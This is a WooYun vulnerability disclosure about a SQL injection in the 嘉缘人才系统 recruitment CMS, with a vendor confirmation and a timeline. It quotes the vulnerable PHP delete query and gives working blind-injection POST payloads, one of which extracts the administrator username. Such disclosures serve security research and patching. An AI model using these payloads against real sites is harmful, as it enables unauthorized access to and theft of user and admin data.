当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-066712

漏洞标题：嘉缘人才系统SQL注入漏洞

相关厂商：finereason.com

漏洞作者： My5t3ry

提交时间：2014-08-15 13:49

修复时间：2014-11-13 13:50

公开时间：2014-11-13 13:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-15： 细节已通知厂商并且等待厂商处理中
2014-08-15： 厂商已经确认，细节仅向厂商公开
2014-08-18： 细节向第三方安全合作伙伴开放
2014-10-09： 细节向核心白帽子及相关领域专家公开
2014-10-19： 细节向普通白帽子公开
2014-10-29： 细节向实习白帽子公开
2014-11-13： 细节向公众公开

简要描述：

嘉缘人才系统V2014版20140521 最新版SQL一枚。 这个用户量比phpyun还多，不知道会不会上首页？

详细说明：

漏洞位于/member/person_rbrower.php 6 - 15行，代码如下：

defined('IN_FR') or exit('Access Denied');
if($user_type!='pmember'){
	echo "<script>alert('您好，您不是个人会员不能操作此功能！');location.href='javascript:history.back()';</script>";
	exit;
	}
if($do=='del'){
	$checks=$_POST['checks'];
    $db ->query("delete from {$cfg['tb_pre']}rbrower where r_bmember='$username' and r_type=1 and r_id in ($checks)");
	showmsg('删除成功！',"?m=person_rbrower&show=$show",0,2000);exit();
}else{


其中的$checks未经过滤带入SQL，导致注入。

漏洞证明：

下面来测试，使用hackbar插件，如图1

1.jpg


url为：
http://192.168.116.128/frcmsnew/member/index.php?m=person_rbrower&do=del
POST数据为：
checks=1) or @`'` or r_id=if((1=1),9999,(select 1 from information_schema.tables))%23@`'`
查询为真，页面返回正常
继续提交
checks=1) or @`'` or r_id=if((1=2),9999,(select 1 from information_schema.tables))%23@`'`
如图2，查询为假，页面报错。

2.jpg


把其中的1=1替换为我们的注射语句就行了，如查询管理员用户名的第一个字符是否为a：
checks=1) or @`'` or r_id=if((ascii(substring((select a_user from job_admin limit 0,1),1,1))=97),9999,(select 1 from information_schema.tables))%23@`'`

修复方案：

过滤。。。

版权声明：转载请注明来源 My5t3ry@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-08-15 14:16

厂商回复：

漏洞确认存在，感谢提交，我们会尽快发布更新补丁。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-07-02 16:43 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    恭喜楼主 上首页了

  2. 2014-07-02 17:54 | My5t3ry ( 实习白帽子 | Rank:31 漏洞数:13 )

    @乐乐、 没上吧。